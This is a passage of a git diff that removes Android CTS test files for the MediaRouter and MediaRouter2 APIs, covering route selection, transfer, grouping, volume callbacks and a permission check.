-        MediaRoute2Info routeTransferFrom = routes.get(ROUTE_ID1);
-        assertNotNull(routeTransferFrom);
-
-        final CountDownLatch onTransferLatch = new CountDownLatch(1);
-        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
-        final CountDownLatch onStopLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mRouter2.getSystemController(), oldController);
-                assertTrue(getOriginalRouteIds(newController.getSelectedRoutes()).contains(
-                        ROUTE_ID1));
-                controllers.add(newController);
-                onTransferLatch.countDown();
-            }
-            @Override
-            public void onStop(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(
-                                controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-                onStopLatch.countDown();
-            }
-        };
-
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-                onControllerUpdatedLatch.countDown();
-            }
-        };
-
-       // TODO: Remove this once the MediaRouter2 becomes always connected to the service.
-        RouteCallback routeCallback = new RouteCallback() {};
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, EMPTY_DISCOVERY_PREFERENCE);
-
-        try {
-            mRouter2.registerTransferCallback(mExecutor, transferCallback);
-            mRouter2.registerControllerCallback(mExecutor, controllerCallback);
-            mRouter2.transferTo(routeTransferFrom);
-            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            assertEquals(1, controllers.size());
-            RoutingController controller = controllers.get(0);
-
-            // Release controller. Future calls should be ignored.
-            controller.release();
-
-            // Select ROUTE_ID5_TO_TRANSFER_TO
-            MediaRoute2Info routeToSelect = routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT);
-            assertNotNull(routeToSelect);
-
-            // This call should be ignored.
-            // The onSessionInfoChanged() shouldn't be called.
-            controller.selectRoute(routeToSelect);
-            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-
-            // onStop should be called.
-            assertTrue(onStopLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mRouter2.unregisterControllerCallback(controllerCallback);
-            mRouter2.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    // TODO: Consider adding tests with bluetooth connection/disconnection.
-    @Test
-    public void testGetSystemController() {
-        final RoutingController systemController = mRouter2.getSystemController();
-        assertNotNull(systemController);
-        assertFalse(systemController.isReleased());
-
-        for (MediaRoute2Info route : systemController.getSelectedRoutes()) {
-            assertTrue(route.isSystemRoute());
-        }
-    }
-
-    @Test
-    public void testGetControllers() {
-        List<RoutingController> controllers = mRouter2.getControllers();
-        assertNotNull(controllers);
-        assertFalse(controllers.isEmpty());
-        assertSame(mRouter2.getSystemController(), controllers.get(0));
-    }
-
-    @Test
-    public void testGetController() {
-        String systemControllerId = mRouter2.getSystemController().getId();
-        RoutingController controllerById = mRouter2.getController(systemControllerId);
-        assertNotNull(controllerById);
-        assertEquals(systemControllerId, controllerById.getId());
-    }
-
-    @Test
-    public void testVolumeHandlingWhenVolumeFixed() {
-        if (!mAudioManager.isVolumeFixed()) {
-            return;
-        }
-        MediaRoute2Info selectedSystemRoute =
-                mRouter2.getSystemController().getSelectedRoutes().get(0);
-        assertEquals(MediaRoute2Info.PLAYBACK_VOLUME_FIXED,
-                selectedSystemRoute.getVolumeHandling());
-    }
-
-    @Test
-    public void testCallbacksAreCalledWhenVolumeChanged() throws Exception {
-        if (mAudioManager.isVolumeFixed()) {
-            return;
-        }
-
-        final int maxVolume = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
-        final int minVolume = mAudioManager.getStreamMinVolume(AudioManager.STREAM_MUSIC);
-        final int originalVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
-
-        MediaRoute2Info selectedSystemRoute =
-                mRouter2.getSystemController().getSelectedRoutes().get(0);
-
-        assertEquals(maxVolume, selectedSystemRoute.getVolumeMax());
-        assertEquals(originalVolume, selectedSystemRoute.getVolume());
-        assertEquals(PLAYBACK_VOLUME_VARIABLE,
-                selectedSystemRoute.getVolumeHandling());
-
-        final int targetVolume = originalVolume == minVolume
-                ? originalVolume + 1 : originalVolume - 1;
-        final CountDownLatch latch = new CountDownLatch(1);
-        RouteCallback routeCallback = new RouteCallback() {
-            @Override
-            public void onRoutesChanged(List<MediaRoute2Info> routes) {
-                for (MediaRoute2Info route : routes) {
-                    if (route.getId().equals(selectedSystemRoute.getId())
-                            && route.getVolume() == targetVolume) {
-                        latch.countDown();
-                        break;
-                    }
-                }
-            }
-        };
-
-        mRouter2.registerRouteCallback(mExecutor, routeCallback, LIVE_AUDIO_DISCOVERY_PREFERENCE);
-
-        try {
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, targetVolume, 0);
-            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            mRouter2.unregisterRouteCallback(routeCallback);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, originalVolume, 0);
-        }
-    }
-
-    @Test
-    public void testGettingSystemMediaRouter2WithoutPermissionThrowsSecurityException() {
-        // Make sure that the permission is not given.
-        assertNotEquals(PackageManager.PERMISSION_GRANTED,
-                mContext.checkSelfPermission(Manifest.permission.MEDIA_CONTENT_CONTROL));
-
-        assertThrows(SecurityException.class,
-                () -> MediaRouter2.getInstance(mContext, mContext.getPackageName()));
-    }
-
-    @Test
-    public void markCallbacksAsTested() {
-        // Due to CTS coverage tool's bug, it doesn't count the callback methods as tested even if
-        // we have tests for them. This method just directly calls those methods so that the tool
-        // can recognize the callback methods as tested.
-
-        RouteCallback routeCallback = new RouteCallback() {};
-        routeCallback.onRoutesAdded(null);
-        routeCallback.onRoutesChanged(null);
-        routeCallback.onRoutesRemoved(null);
-
-        TransferCallback transferCallback = new TransferCallback() {};
-        transferCallback.onTransfer(null, null);
-        transferCallback.onTransferFailure(null);
-
-        ControllerCallback controllerCallback = new ControllerCallback() {};
-        controllerCallback.onControllerUpdated(null);
-
-        OnGetControllerHintsListener listener = route -> null;
-        listener.onGetControllerHints(null);
-    }
-
-    // Helper for getting routes easily. Uses original ID as a key
-    private static Map<String, MediaRoute2Info> createRouteMap(List<MediaRoute2Info> routes) {
-        Map<String, MediaRoute2Info> routeMap = new HashMap<>();
-        for (MediaRoute2Info route : routes) {
-            routeMap.put(route.getOriginalId(), route);
-        }
-        return routeMap;
-    }
-
-    private Map<String, MediaRoute2Info> waitAndGetRoutes(List<String> routeTypes)
-            throws Exception {
-        CountDownLatch latch = new CountDownLatch(1);
-
-        RouteCallback routeCallback = new RouteCallback() {
-            @Override
-            public void onRoutesAdded(List<MediaRoute2Info> routes) {
-                for (MediaRoute2Info route : routes) {
-                    if (!route.isSystemRoute()) {
-                        latch.countDown();
-                    }
-                }
-            }
-        };
-
-        mRouter2.registerRouteCallback(mExecutor, routeCallback,
-                new RouteDiscoveryPreference.Builder(routeTypes, true).build());
-        try {
-            latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-            return createRouteMap(mRouter2.getRoutes());
-        } finally {
-            mRouter2.unregisterRouteCallback(routeCallback);
-        }
-    }
-
-    static void releaseControllers(@NonNull List<RoutingController> controllers) {
-        for (RoutingController controller : controllers) {
-            controller.release();
-        }
-    }
-
-    /**
-     * Returns a list of original route IDs of the given route list.
-     */
-    private List<String> getOriginalRouteIds(@NonNull List<MediaRoute2Info> routes) {
-        List<String> result = new ArrayList<>();
-        for (MediaRoute2Info route : routes) {
-            result.add(route.getOriginalId());
-        }
-        return result;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java b/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
deleted file mode 100644
index e0ba399..0000000
--- a/tests/tests/media/src/android/media/cts/MediaRouter2TestActivity.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.Activity;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-import androidx.test.core.app.ActivityScenario;
-
-public class MediaRouter2TestActivity extends Activity {
-
-    private static ActivityScenario<MediaRouter2TestActivity> sActivityScenario;
-
-    public static ActivityScenario<MediaRouter2TestActivity> startActivity(Context context) {
-        Intent intent = new Intent(Intent.ACTION_MAIN);
-        intent.setClass(context, MediaRouter2TestActivity.class);
-        sActivityScenario = ActivityScenario.launch(intent);
-        return sActivityScenario;
-    }
-
-    public static void finishActivity() {
-        if (sActivityScenario != null) {
-            // TODO: Sometimes calling this takes about 5 seconds. Need to figure out why.
-            sActivityScenario.close();
-            sActivityScenario = null;
-        }
-    }
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setTurnScreenOn(true);
-        setShowWhenLocked(true);
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaRouterTest.java b/tests/tests/media/src/android/media/cts/MediaRouterTest.java
deleted file mode 100644
index 5d9908f..0000000
--- a/tests/tests/media/src/android/media/cts/MediaRouterTest.java
+++ /dev/null
@@ -1,709 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.app.PendingIntent;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.drawable.Drawable;
-import android.media.AudioManager;
-import android.media.MediaRouter;
-import android.media.MediaRouter.RouteGroup;
-import android.media.MediaRouter.RouteCategory;
-import android.media.MediaRouter.RouteInfo;
-import android.media.MediaRouter.UserRouteInfo;
-import android.media.RemoteControlClient;
-import android.platform.test.annotations.AppModeFull;
-import android.test.InstrumentationTestCase;
-
-import java.util.List;
-import java.util.ArrayList;
-
-/**
- * Test {@link android.media.MediaRouter}.
- */
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaRouterTest extends InstrumentationTestCase {
-
-    private static final int TEST_ROUTE_NAME_RESOURCE_ID = R.string.test_user_route_name;
-    private static final int TEST_CATEGORY_NAME_RESOURCE_ID = R.string.test_route_category_name;
-    private static final int TEST_ICON_RESOURCE_ID = R.drawable.single_face;
-    private static final int TEST_MAX_VOLUME = 100;
-    private static final int TEST_VOLUME = 17;
-    private static final int TEST_VOLUME_DIRECTION = -2;
-    private static final int TEST_PLAYBACK_STREAM = AudioManager.STREAM_ALARM;
-    private static final int TEST_VOLUME_HANDLING = RouteInfo.PLAYBACK_VOLUME_VARIABLE;
-    private static final int TEST_PLAYBACK_TYPE = RouteInfo.PLAYBACK_TYPE_LOCAL;
-    private static final CharSequence TEST_ROUTE_DESCRIPTION = "test_user_route_description";
-    private static final CharSequence TEST_STATUS = "test_user_route_status";
-    private static final CharSequence TEST_GROUPABLE_CATEGORY_NAME = "test_groupable_category_name";
-
-    private MediaRouter mMediaRouter;
-    private RouteCategory mTestCategory;
-    private RouteCategory mTestGroupableCategory;
-    private CharSequence mTestRouteName;
-    private Drawable mTestIconDrawable;
-    private Context mContext;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getContext();
-        mMediaRouter = (MediaRouter) mContext.getSystemService(Context.MEDIA_ROUTER_SERVICE);
-        mTestCategory = mMediaRouter.createRouteCategory(TEST_CATEGORY_NAME_RESOURCE_ID, false);
-        mTestGroupableCategory = mMediaRouter.createRouteCategory(TEST_GROUPABLE_CATEGORY_NAME,
-                true);
-        mTestRouteName = mContext.getText(TEST_ROUTE_NAME_RESOURCE_ID);
-        mTestIconDrawable = mContext.getDrawable(TEST_ICON_RESOURCE_ID);
-    }
-
-    protected void tearDown() throws Exception {
-        mMediaRouter.clearUserRoutes();
-        super.tearDown();
-    }
-
-    /**
-     * Test {@link MediaRouter#selectRoute(int, RouteInfo)}.
-     */
-    public void testSelectRoute() {
-        RouteInfo prevSelectedRoute = mMediaRouter.getSelectedRoute(
-                MediaRouter.ROUTE_TYPE_LIVE_AUDIO | MediaRouter.ROUTE_TYPE_LIVE_VIDEO
-                | MediaRouter.ROUTE_TYPE_REMOTE_DISPLAY);
-        assertNotNull(prevSelectedRoute);
-
-        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
-        mMediaRouter.addUserRoute(userRoute);
-        mMediaRouter.selectRoute(userRoute.getSupportedTypes(), userRoute);
-
-        RouteInfo nowSelectedRoute = mMediaRouter.getSelectedRoute(MediaRouter.ROUTE_TYPE_USER);
-        assertEquals(userRoute, nowSelectedRoute);
-        assertEquals(mTestCategory, nowSelectedRoute.getCategory());
-
-        mMediaRouter.selectRoute(prevSelectedRoute.getSupportedTypes(), prevSelectedRoute);
-    }
-
-    /**
-     * Test {@link MediaRouter#getRouteCount()}.
-     */
-    public void testGetRouteCount() {
-        final int count = mMediaRouter.getRouteCount();
-        assertTrue("By default, a media router has at least one route.", count > 0);
-
-        UserRouteInfo userRoute0 = mMediaRouter.createUserRoute(mTestCategory);
-        mMediaRouter.addUserRoute(userRoute0);
-        assertEquals(count + 1, mMediaRouter.getRouteCount());
-
-        mMediaRouter.removeUserRoute(userRoute0);
-        assertEquals(count, mMediaRouter.getRouteCount());
-
-        UserRouteInfo userRoute1 = mMediaRouter.createUserRoute(mTestCategory);
-        mMediaRouter.addUserRoute(userRoute0);
-        mMediaRouter.addUserRoute(userRoute1);
-        assertEquals(count + 2, mMediaRouter.getRouteCount());
-
-        mMediaRouter.clearUserRoutes();
-        assertEquals(count, mMediaRouter.getRouteCount());
-    }
-
-    /**
-     * Test {@link MediaRouter#getRouteAt(int)}.
-     */
-    public void testGetRouteAt() throws Exception {
-        UserRouteInfo userRoute0 = mMediaRouter.createUserRoute(mTestCategory);
-        UserRouteInfo userRoute1 = mMediaRouter.createUserRoute(mTestCategory);
-        mMediaRouter.addUserRoute(userRoute0);
-        mMediaRouter.addUserRoute(userRoute1);
-
-        int count = mMediaRouter.getRouteCount();
-        assertEquals(userRoute0, mMediaRouter.getRouteAt(count - 2));
-        assertEquals(userRoute1, mMediaRouter.getRouteAt(count - 1));
-    }
-
-    /**
-     * Test {@link MediaRouter.UserRouteInfo} with the default route.
-     */
-    public void testDefaultRouteInfo() {
-        RouteInfo route = mMediaRouter.getDefaultRoute();
-
-        assertNotNull(route.getCategory());
-        assertNotNull(route.getName());
-        assertNotNull(route.getName(mContext));
-        assertTrue(route.isEnabled());
-        assertFalse(route.isConnecting());
-        assertEquals(RouteInfo.DEVICE_TYPE_UNKNOWN, route.getDeviceType());
-        assertEquals(RouteInfo.PLAYBACK_TYPE_LOCAL, route.getPlaybackType());
-        assertNull(route.getDescription());
-        assertNull(route.getStatus());
-        assertNull(route.getIconDrawable());
-        assertNull(route.getGroup());
-
-        Object tag = new Object();
-        route.setTag(tag);
-        assertEquals(tag, route.getTag());
-        assertEquals(AudioManager.STREAM_MUSIC, route.getPlaybackStream());
-
-        int curVolume = route.getVolume();
-        int maxVolume = route.getVolumeMax();
-        assertTrue(curVolume <= maxVolume);
-    }
-
-    /**
-     * Test {@link MediaRouter.UserRouteInfo}.
-     */
-    public void testUserRouteInfo() {
-        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
-        assertTrue(userRoute.isEnabled());
-        assertFalse(userRoute.isConnecting());
-        assertEquals(mTestCategory, userRoute.getCategory());
-        assertEquals(RouteInfo.DEVICE_TYPE_UNKNOWN, userRoute.getDeviceType());
-        assertEquals(RouteInfo.PLAYBACK_TYPE_REMOTE, userRoute.getPlaybackType());
-
-        // Test setName by CharSequence object.
-        userRoute.setName(mTestRouteName);
-        assertEquals(mTestRouteName, userRoute.getName());
-
-        userRoute.setName(null);
-        assertNull(userRoute.getName());
-
-        // Test setName by resource ID.
-        // The getName() method tries to find the resource in application resources which was stored
-        // when the media router is first initialized. In contrast, getName(Context) method tries to
-        // find the resource in a given context's resources. So if we call getName(Context) with a
-        // context which has the same resources, two methods will return the same value.
-        userRoute.setName(TEST_ROUTE_NAME_RESOURCE_ID);
-        assertEquals(mTestRouteName, userRoute.getName());
-        assertEquals(mTestRouteName, userRoute.getName(mContext));
-
-        userRoute.setDescription(TEST_ROUTE_DESCRIPTION);
-        assertEquals(TEST_ROUTE_DESCRIPTION, userRoute.getDescription());
-
-        userRoute.setStatus(TEST_STATUS);
-        assertEquals(TEST_STATUS, userRoute.getStatus());
-
-        Object tag = new Object();
-        userRoute.setTag(tag);
-        assertEquals(tag, userRoute.getTag());
-
-        userRoute.setPlaybackStream(TEST_PLAYBACK_STREAM);
-        assertEquals(TEST_PLAYBACK_STREAM, userRoute.getPlaybackStream());
-
-        userRoute.setIconDrawable(mTestIconDrawable);
-        assertEquals(mTestIconDrawable, userRoute.getIconDrawable());
-
-        userRoute.setIconDrawable(null);
-        assertNull(userRoute.getIconDrawable());
-
-        userRoute.setIconResource(TEST_ICON_RESOURCE_ID);
-        assertTrue(getBitmap(mTestIconDrawable).sameAs(getBitmap(userRoute.getIconDrawable())));
-
-        userRoute.setVolumeMax(TEST_MAX_VOLUME);
-        assertEquals(TEST_MAX_VOLUME, userRoute.getVolumeMax());
-
-        userRoute.setVolume(TEST_VOLUME);
-        assertEquals(TEST_VOLUME, userRoute.getVolume());
-
-        Intent intent = new Intent(Intent.ACTION_MEDIA_BUTTON);
-        PendingIntent mediaButtonIntent = PendingIntent.getBroadcast(
-                mContext, 0, intent, PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
-        RemoteControlClient rcc = new RemoteControlClient(mediaButtonIntent);
-        userRoute.setRemoteControlClient(rcc);
-        assertEquals(rcc, userRoute.getRemoteControlClient());
-
-        userRoute.setVolumeHandling(TEST_VOLUME_HANDLING);
-        assertEquals(TEST_VOLUME_HANDLING, userRoute.getVolumeHandling());
-
-        userRoute.setPlaybackType(TEST_PLAYBACK_TYPE);
-        assertEquals(TEST_PLAYBACK_TYPE, userRoute.getPlaybackType());
-    }
-
-    /**
-     * Test {@link MediaRouter.RouteGroup}.
-     */
-    public void testRouteGroup() {
-        // Create a route with a groupable category.
-        // A route does not belong to any group until it is added to a media router or to a group.
-        UserRouteInfo userRoute0 = mMediaRouter.createUserRoute(mTestGroupableCategory);
-        assertNull(userRoute0.getGroup());
-
-        // Call addUserRoute(UserRouteInfo).
-        // For the route whose category is groupable, this method does not directly add the route in
-        // the media router. Instead, it creates a RouteGroup, adds the group in the media router,
-        // and puts the route inside that group.
-        mMediaRouter.addUserRoute(userRoute0);
-        RouteGroup routeGroup = userRoute0.getGroup();
-        assertNotNull(routeGroup);
-        assertEquals(1, routeGroup.getRouteCount());
-        assertEquals(userRoute0, routeGroup.getRouteAt(0));
-
-        // Create another two routes with the same category.
-        UserRouteInfo userRoute1 = mMediaRouter.createUserRoute(mTestGroupableCategory);
-        UserRouteInfo userRoute2 = mMediaRouter.createUserRoute(mTestGroupableCategory);
-
-        // Add userRoute2 at the end of the group.
-        routeGroup.addRoute(userRoute2);
-        assertSame(routeGroup, userRoute2.getGroup());
-        assertEquals(2, routeGroup.getRouteCount());
-        assertEquals(userRoute0, routeGroup.getRouteAt(0));
-        assertEquals(userRoute2, routeGroup.getRouteAt(1));
-
-        // To place routes in order, add userRoute1 to the group between userRoute0 and userRoute2.
-        routeGroup.addRoute(userRoute1, 1);
-        assertSame(routeGroup, userRoute1.getGroup());
-        assertEquals(3, routeGroup.getRouteCount());
-        assertEquals(userRoute0, routeGroup.getRouteAt(0));
-        assertEquals(userRoute1, routeGroup.getRouteAt(1));
-        assertEquals(userRoute2, routeGroup.getRouteAt(2));
-
-        // Remove userRoute0.
-        routeGroup.removeRoute(userRoute0);
-        assertNull(userRoute0.getGroup());
-        assertEquals(2, routeGroup.getRouteCount());
-        assertEquals(userRoute1, routeGroup.getRouteAt(0));
-        assertEquals(userRoute2, routeGroup.getRouteAt(1));
-
-        // Remove userRoute1 which is the first route in the group now.
-        routeGroup.removeRoute(0);
-        assertNull(userRoute1.getGroup());
-        assertEquals(1, routeGroup.getRouteCount());
-        assertEquals(userRoute2, routeGroup.getRouteAt(0));
-
-        // Routes in different categories cannot be added to the same group.
-        UserRouteInfo userRouteInAnotherCategory = mMediaRouter.createUserRoute(mTestCategory);
-        try {
-            // This will throw an IllegalArgumentException.
-            routeGroup.addRoute(userRouteInAnotherCategory);
-            fail();
-        } catch (IllegalArgumentException exception) {
-            // Expected
-        }
-
-        // Set an icon for the group.
-        routeGroup.setIconDrawable(mTestIconDrawable);
-        assertEquals(mTestIconDrawable, routeGroup.getIconDrawable());
-
-        routeGroup.setIconDrawable(null);
-        assertNull(routeGroup.getIconDrawable());
-
-        routeGroup.setIconResource(TEST_ICON_RESOURCE_ID);
-        assertTrue(getBitmap(mTestIconDrawable).sameAs(getBitmap(routeGroup.getIconDrawable())));
-    }
-
-    /**
-     * Test {@link MediaRouter.RouteCategory}.
-     */
-    public void testRouteCategory() {
-        // Test getName() for category whose name is set with resource ID.
-        RouteCategory routeCategory = mMediaRouter.createRouteCategory(
-                TEST_CATEGORY_NAME_RESOURCE_ID, false);
-
-        // The getName() method tries to find the resource in application resources which was stored
-        // when the media router is first initialized. In contrast, getName(Context) method tries to
-        // find the resource in a given context's resources. So if we call getName(Context) with a
-        // context which has the same resources, two methods will return the same value.
-        CharSequence categoryName = mContext.getText(
-                TEST_CATEGORY_NAME_RESOURCE_ID);
-        assertEquals(categoryName, routeCategory.getName());
-        assertEquals(categoryName, routeCategory.getName(mContext));
-
-        assertFalse(routeCategory.isGroupable());
-        assertEquals(MediaRouter.ROUTE_TYPE_USER, routeCategory.getSupportedTypes());
-
-        final int count = mMediaRouter.getCategoryCount();
-        assertTrue("By default, a media router has at least one route category.", count > 0);
-
-        UserRouteInfo userRoute = mMediaRouter.createUserRoute(routeCategory);
-        mMediaRouter.addUserRoute(userRoute);
-        assertEquals(count + 1, mMediaRouter.getCategoryCount());
-        assertEquals(routeCategory, mMediaRouter.getCategoryAt(count));
-
-        List<RouteInfo> routesInCategory = new ArrayList<RouteInfo>();
-        routeCategory.getRoutes(routesInCategory);
-        assertEquals(1, routesInCategory.size());
-
-        RouteInfo route = routesInCategory.get(0);
-        assertEquals(userRoute, route);
-
-        // Test getName() for category whose name is set with CharSequence object.
-        RouteCategory newRouteCategory = mMediaRouter.createRouteCategory(categoryName, false);
-        assertEquals(categoryName, newRouteCategory.getName());
-    }
-
-    public void testCallback() {
-        MediaRouterCallback callback = new MediaRouterCallback();
-        MediaRouter.Callback mrc = (MediaRouter.Callback) callback;
-        MediaRouter.SimpleCallback mrsc = (MediaRouter.SimpleCallback) callback;
-
-        final int allRouteTypes = MediaRouter.ROUTE_TYPE_LIVE_AUDIO
-                | MediaRouter.ROUTE_TYPE_LIVE_VIDEO | MediaRouter.ROUTE_TYPE_USER;
-        mMediaRouter.addCallback(allRouteTypes, callback);
-
-        // Test onRouteAdded().
-        callback.reset();
-        UserRouteInfo userRoute = mMediaRouter.createUserRoute(mTestCategory);
-        mMediaRouter.addUserRoute(userRoute);
-        assertTrue(callback.mOnRouteAddedCalled);
-        assertEquals(userRoute, callback.mAddedRoute);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteAdded(mMediaRouter, callback.mAddedRoute);
-        mrsc.onRouteAdded(mMediaRouter, callback.mAddedRoute);
-
-        RouteInfo prevSelectedRoute = mMediaRouter.getSelectedRoute(allRouteTypes);
-
-        // Test onRouteSelected() and onRouteUnselected().
-        callback.reset();
-        mMediaRouter.selectRoute(MediaRouter.ROUTE_TYPE_USER, userRoute);
-        assertTrue(callback.mOnRouteUnselectedCalled);
-        assertEquals(prevSelectedRoute, callback.mUnselectedRoute);
-        assertTrue(callback.mOnRouteSelectedCalled);
-        assertEquals(userRoute, callback.mSelectedRoute);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteUnselected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER, callback.mUnselectedRoute);
-        mrc.onRouteSelected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER, callback.mSelectedRoute);
-        mrsc.onRouteUnselected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER,
-                callback.mUnselectedRoute);
-        mrsc.onRouteSelected(mMediaRouter, MediaRouter.ROUTE_TYPE_USER, callback.mSelectedRoute);
-
-        // Test onRouteChanged().
-        // It is called when the route's name, description, status or tag is updated.
-        callback.reset();
-        userRoute.setName(mTestRouteName);
-        assertTrue(callback.mOnRouteChangedCalled);
-        assertEquals(userRoute, callback.mChangedRoute);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
-        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
-
-        callback.reset();
-        userRoute.setDescription(TEST_ROUTE_DESCRIPTION);
-        assertTrue(callback.mOnRouteChangedCalled);
-        assertEquals(userRoute, callback.mChangedRoute);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
-        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
-
-        callback.reset();
-        userRoute.setStatus(TEST_STATUS);
-        assertTrue(callback.mOnRouteChangedCalled);
-        assertEquals(userRoute, callback.mChangedRoute);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
-        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
-
-        callback.reset();
-        Object tag = new Object();
-        userRoute.setTag(tag);
-        assertTrue(callback.mOnRouteChangedCalled);
-        assertEquals(userRoute, callback.mChangedRoute);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
-        mrsc.onRouteChanged(mMediaRouter, callback.mChangedRoute);
-
-        // Test onRouteVolumeChanged().
-        userRoute.setVolumeMax(TEST_MAX_VOLUME);
-        callback.reset();
-        userRoute.setVolume(TEST_VOLUME);
-        assertTrue(callback.mOnRouteVolumeChangedCalled);
-        assertEquals(userRoute, callback.mVolumeChangedRoute);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteVolumeChanged(mMediaRouter, callback.mVolumeChangedRoute);
-        mrsc.onRouteVolumeChanged(mMediaRouter, callback.mVolumeChangedRoute);
-
-        // Test onRouteRemoved().
-        callback.reset();
-        mMediaRouter.removeUserRoute(userRoute);
-        assertTrue(callback.mOnRouteRemovedCalled);
-        assertEquals(userRoute, callback.mRemovedRoute);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
-        mrsc.onRouteRemoved(mMediaRouter, callback.mRemovedRoute);
-
-        // Test onRouteGrouped() and onRouteUngrouped().
-        mMediaRouter.clearUserRoutes();
-        UserRouteInfo groupableRoute0 = mMediaRouter.createUserRoute(mTestGroupableCategory);
-        UserRouteInfo groupableRoute1 = mMediaRouter.createUserRoute(mTestGroupableCategory);
-
-        // Adding a route of groupable category in the media router does not directly add the route.
-        // Instead, it creates a RouteGroup, adds the group as a route in the media router, and puts
-        // the route inside that group. Therefore onRouteAdded() is called for the group, and
-        // onRouteGrouped() is called for the route.
-        callback.reset();
-        mMediaRouter.addUserRoute(groupableRoute0);
-
-        RouteGroup group = groupableRoute0.getGroup();
-        assertTrue(callback.mOnRouteAddedCalled);
-        assertEquals(group, callback.mAddedRoute);
-
-        assertTrue(callback.mOnRouteGroupedCalled);
-        assertEquals(groupableRoute0, callback.mGroupedRoute);
-        assertEquals(group, callback.mGroup);
-        assertEquals(0, callback.mRouteIndexInGroup);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
-                callback.mRouteIndexInGroup);
-        mrsc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
-                callback.mRouteIndexInGroup);
-
-        // Add another route to the group.
-        callback.reset();
-        group.addRoute(groupableRoute1);
-        assertTrue(callback.mOnRouteGroupedCalled);
-        assertEquals(groupableRoute1, callback.mGroupedRoute);
-        assertEquals(1, callback.mRouteIndexInGroup);
-        // Call the callback methods directly so they are marked as tested
-        mrc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
-                callback.mRouteIndexInGroup);
-        mrsc.onRouteGrouped(mMediaRouter, callback.mGroupedRoute, callback.mGroup,
-                callback.mRouteIndexInGroup);
-
-        // Since removing a route from the group changes the group's name, onRouteChanged() is
